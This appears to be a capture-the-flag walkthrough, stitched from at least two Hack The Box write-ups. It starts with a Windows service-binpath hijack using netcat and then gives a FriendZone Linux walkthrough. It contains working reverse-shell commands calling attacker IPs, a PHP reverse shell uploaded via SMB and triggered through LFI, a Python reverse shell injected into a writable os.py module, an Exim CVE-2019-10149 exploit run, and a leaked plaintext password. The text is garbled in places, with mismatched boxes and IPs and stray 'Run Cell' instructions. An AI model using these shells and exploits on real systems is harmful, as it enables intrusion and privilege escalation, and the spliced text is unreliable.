*Evil-WinRM* PS C:\programdata> upload /opt/netcat/nc64.exe
Info: Uploading /opt/netcat/nc64.exe to C:\programdata\nc64.exe
                                                             
Data: 60360 bytes of 60360 bytes copied

Info: Upload successful!

Cube0x0 has a nice post that includes many privesc techniques, including this one.

Typically, I would want to get a list of services that this account can modify, but it seems this user doesn’t have access to the Service Control Manager:

*Evil-WinRM* PS C:\programdata> sc.exe query
[SC] OpenSCManager FAILED 5:

Access is denied.
*Evil-WinRM* PS C:\programdata> $services=(get-service).name | foreach {(Get-ServiceAcl $_)  | where {$_.access.IdentityReference -match 'Server Operators'}}
Cannot open Service Control Manager on computer '.'. This operation might require other privileges.
At line:1 char:12                                                                                        
+ $services=(get-service).name | foreach {(Get-ServiceAcl $_)  | where  ...                              
+            ~~~~~~~~~~~                                                                                 
    + CategoryInfo          : NotSpecified: (:) [Get-Service], InvalidOperationException
    + FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.PowerShell.Commands.GetServiceCommand

Going in a bit blind, I’ll try the one that Cube0x0 shows in the post:

*Evil-WinRM* PS C:\programdata> sc.exe config VSS binpath="C:\programdata\nc64.exe -e cmd 10.10.14.2 443"
[SC] ChangeServiceConfig SUCCESS

It works! I’ll try to stop the service, but it’s not started. Then I’ll start it:

*Evil-WinRM* PS C:\programdata> sc.exe stop VSS
[SC] ControlService FAILED 1062:

The service has not been started.

*Evil-WinRM* PS C:\programdata> sc.exe start VSS
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

At first there’s no response here, and a connection at nc:

puck@parrot-os$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.108 54572
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

After 30 seconds, the service times out, and returns an error message:

*Evil-WinRM* PS C:\programdata> sc.exe start VSS
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

At that same point, the shell dies. Still, if I move quickly, I can get the flag:

C:\Users\Administrator\Desktop>type root.txt
3e************************

Better Reverse Shell

When the service fails to start in a service way (there are specific requirements for a service binary), then it kills the running process. If I have the service binary actually be cmd.exe, and have that start nc64.exe, then the nc64.exe will continue even after cmd.exe is killed:

*Evil-WinRM* PS C:\programdata> sc.exe config VSS binpath="C:\windows\system32\cmd.exe /c C:\programdata\nc64.exe -e cmd 10.10.14.2 443"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\programdata> sc.exe start VSS
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

The shell comes back and lives past the timeout:

puck@hparrot-os$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.108 49757
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

htb-friendzone

HTB Friendzone

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The FriendZone machine IP is 10.10.10.123

3. We will adopt the same methodology of performing penetration testing as we’ve used before. Let’s start with enumeration in order to learn as much information about the machine as possible.

4. As usual, let’s start with the nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA FriendZone 10.10.10.123>>

5. It looks like we have a lot of data to consume. We have ports 21, 22, 53, 80, 139, 443 and 445 opened. So let’s perform enumeration on them. The important thing to note is that there is a possible domain, “friendzone.red,” as well.

6. The first thing to do, since we have shares available, is to see how many of these we can discover remotely.

┌─[✗]─[puck@parrot-lt]─[~/htb/friendzone]
└──╼ $nmap -script=smb-enum-shares.nse -p445 10.10.10.123
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-03 14:35 CEST
Nmap scan report for friendzone.htb (10.10.10.123)
Host is up (0.089s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-enum-shares: 
| account_used: guest
| \\10.10.10.123\Development: 
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\Files: 
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\hole
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.123\IPC$: 
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\general: 
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\general
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\print$: 
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 22.30 seconds
┌─[puck@parrot-lt]─[~/htb/friendzone]

or

┌─[puck@parrot-lt]─[~/htb/friendzone]
└──╼ $enum4linux 10.10.10.123

or

┌─[puck@parrot-lt]─[~/htb/friendzone]
└──╼ $smbmap -H 10.10.10.123 
[+] Guest session IP: 10.10.10.123:445 Name: friendzone.htb 
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Files NO ACCESS FriendZone Samba Server Files /etc/Files
general READ ONLY FriendZone Samba Server Files
Development READ, WRITE FriendZone Samba Server Files
IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))
┌─[puck@parrot-lt]─[~/htb/friendzone]

7. It looks like we can read development and general share. Let’s read general share first.
<<smbclient //10.10.10.123/general -U “”>>
<<get creds.txt>>

8. There seems to be a creds.txt file found. Downloading creds.txt, we find that the content looks like admin creds. Let’s enumerate the system more to see where to use these creds.
<<cat creds.txt>>

9. Enumerating port 80 results in the following. An important thing to note is that there is a new domain, friendzoneportal.red, also mentioned.

10. Since we have port 53 opened, let’s query both of these domains.

11. Querying friendzone.red reveals the following. We can see that “administrator1.friendzone.red” was discovered.
<<dig axfr friendzone.red @10.10.10.123>>

12. Querying friendzoneportal.red reveals the following. We can see that “admin.friendzoneportal.red” was discovered.
<<dig axfr friendzoneportal.red @10.10.10.123>>

13. see below.

14. Let’s enumerate both these domains. Before that, let’s add the entries into the /etc/hosts file, as shown below.

15. Enumerating administrator1.friendzone.red results in the following login page. Let’s try the discovered admin creds. We find that it results in a successful login.

16. After logging in, we get this message.

17. Following the directions above shows the page below with an error message.

18. We follow the leads again, including the aforementioned parameters, into the request portal. (BTW, this an LFI candidate.)

19. So the logic is that if we can include our reverse shell into the system and query it from this page in parameter “pagename,” we should get the reverse shell back. But where to upload? Let’s remember the “development” share discovered above.

20. We’ll apply this logic to see if we can get the reverse shell back. We modify the PHP reverse shell with the attacker details.

21. Next, we upload the contents to development share.
<<smbclient //10.10.10.123/development -U “”>>
<<put reverse.php>>

22. Now let’s add the path to the pagename parameter (/etc/Development/reverse), as shown below. Before that, let’s also open a NC shell.
<<nc -nlvp 4488>>

23. We got the reverse shell. Great!

24. We read the user.txt file.(There was a home directory friend on the system.)
<<cd home>>
<<cd friend>>
<<ls>>
<<cat user.txt>>

25. Let’s enumerate the system to escalate the privileges next.

26. During enumeration, there was a file called mysql_data.conf under /var/www. Looks like we have the user “friend” password in it in plaintext.
<<cd /var/www>>
<<cat mysql_data.conf>>

27. Let’s use the above creds to log into the box as user “friend.”
<<ssh friend@10.10.10.123>>

28. Let’s continue the process of enumeration and escalating the privileges.

29. After much enumeration, I thought of using an excellent utility (PSPY) from here.

30. Transferring the PSPY to the victim machine.

┌─[✗]─[puck@parrot-lt]─[~/htb/friendzone]
└──╼ $scp pspy64 friend@10.10.10.123:/home/friend
friend@10.10.10.123’s password: Agpyu12!0.213$
pspy64 100% 3006KB 1.6MB/s 00:01
┌─[puck@parrot-lt]─[~/htb/friendzone]

Priv: friend to root

Enumeration

reporter.py

I was looking around the file system, and I noticed a script in /opt/server_admin/:

friend@FriendZone:/opt/server_admin$ ls
reporter.py

It says it’s incomplete, and doesn’t do much of anything:

#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

Cron

I uploaded pspy to target, and noticed that root was running this script every two minutes:

2019/02/12 15:18:01 CMD: UID=0    PID=26106  | /usr/bin/python /opt/server_admin/reporter.py 
2019/02/12 15:18:01 CMD: UID=0    PID=26105  | /bin/sh -c /opt/server_admin/reporter.py 
2019/02/12 15:18:01 CMD: UID=0    PID=26104  | /usr/sbin/CRON -f 
2019/02/12 15:20:01 CMD: UID=0    PID=26109  | /usr/bin/python /opt/server_admin/reporter.py 
2019/02/12 15:20:01 CMD: UID=0    PID=26108  | /bin/sh -c /opt/server_admin/reporter.py 
2019/02/12 15:20:01 CMD: UID=0    PID=26107  | /usr/sbin/CRON -f 

os.py

Finally, I noticed that the python module, os, was writable:

friend@FriendZone:/usr/lib/python2.7$ find -type f -writable -ls
   262202     28 -rw-rw-r--   1 friend   friend      25583 Jan 15 22:19 ./os.pyc
   282643     28 -rwxrwxrwx   1 root     root        25910 Jan 15 22:19 ./os.py

Python Library Hijack

Rastating has a good write-up on Python Library Hijacking. I can use the following command to see the python path order:

Open the Python Shell.

You see the Python Shell window appear.

Type import sys and press Enter

Type for p in sys.path: print(p) in a new cell and click Run Cell

.

┌─[puck@parrot-lt]─[~/htb/friendzone]
└──╼ $ssh friend@10.10.10.123
friend@10.10.10.123's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

You have mail.
Last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3
friend@FriendZone:~$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> for p in sys.path: print(p)
...

/usr/lib/python2.7
/usr/lib/python2.7/plat-x86_64-linux-gnu
/usr/lib/python2.7/lib-tk
/usr/lib/python2.7/lib-old
/usr/lib/python2.7/lib-dynload
/usr/local/lib/python2.7/dist-packages
/usr/lib/python2.7/dist-packages
>>>

.

I think that blank line at the top indicates the current directory of the script.

The most common case for this kind of hijack is finding the directory containing the python script writable. In that case, I could drop an os.py in next to reporter.py and it would load there before checking /usr/lib/python2.7/. In this case, I actually can’t write to /opt/server_admin/. But I can write directly to the normal version of this module.

friend@FriendZone:/usr/lib/python2.7$ ls -la os.*
-rwxrwxrwx 1 root root 25910 Jan 15 2019 os.py
-rw-rw-r-- 1 friend friend 25583 Jan 15 2019 os.pyc
friend@FriendZone:/usr/lib/python2.7$

I’ll open the file in vi, and go to the bottom. There, I’ll add a shell to myself:

import pty
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.10.14.10”,9001))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn(“/bin/bash”)
s.close()

thus like below

...[snip]...
def _pickle_statvfs_result(sr):
    (type, args) = sr.__reduce__()
    return (_make_statvfs_result, args)

try:
    _copy_reg.pickle(statvfs_result, _pickle_statvfs_result,
                     _make_statvfs_result)
except NameError: # statvfs_result may not exist
    pass

import pty
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.7",443))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
s.close()

It’s a standard python reverse shell, except that instead of os.dup2(), I just write dup2(). That’s because I’m in the os module right now. It actually should still work if you just import os, but I removed it as it’s not needed.

I’ll save that. Since waiting two minutes to fail is annoying, I’ll open python on my own and see if I get a shell back as friend. On just starting python, I get a callback, and have a shell. I’ll exit out and wait for the cron. Once the two minutes rolls, shell:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.123.
Ncat: Connection from 10.10.10.123:46118.
root@FriendZone:~# id
uid=0(root) gid=0(root) groups=0(root)

Unattended way

friend@FriendZone:~$ netstat -tulpen | grep 25
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 0 25195 - 
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 0 25151 - 
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 0 25152 - 
tcp6 0 0 ::1:25 :::* LISTEN 0 25196 - 
tcp6 0 0 :::445 :::* LISTEN 0 25149 - 
tcp6 0 0 :::139 :::* LISTEN 0 25150 - 
udp 24576 0 10.10.10.255:137 0.0.0.0:* 0 24960 - 
udp 16640 0 10.10.10.255:138 0.0.0.0:* 0 24962 - 
friend@FriendZone:~$
friend@FriendZone:~$ exim -bV
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14
Copyright (c) University of Cambridge, 1995 - 2017

CVE-2019-10149 : A flaw was found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution.

I then searched for another exploit for the same CVE and found this which worked without modification

www-data@FriendZone /tmp $ python exploit.py --rhost localhost --rport 25 --lhost 10.10.14.78 --lport 443
[+] Exploited. Check your listener

root@Kali:~/HTB/Friendzone# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.123] 55938
bash: cannot set terminal process group (38138): Inappropriate ioctl for device
bash: no job control in this shell
root@FriendZone:/var/spool/exim4# id
id
uid=0(root) gid=114(Debian-exim) groups=114(Debian-exim)

Lessons learned

  • Priv esc by Python library hijacking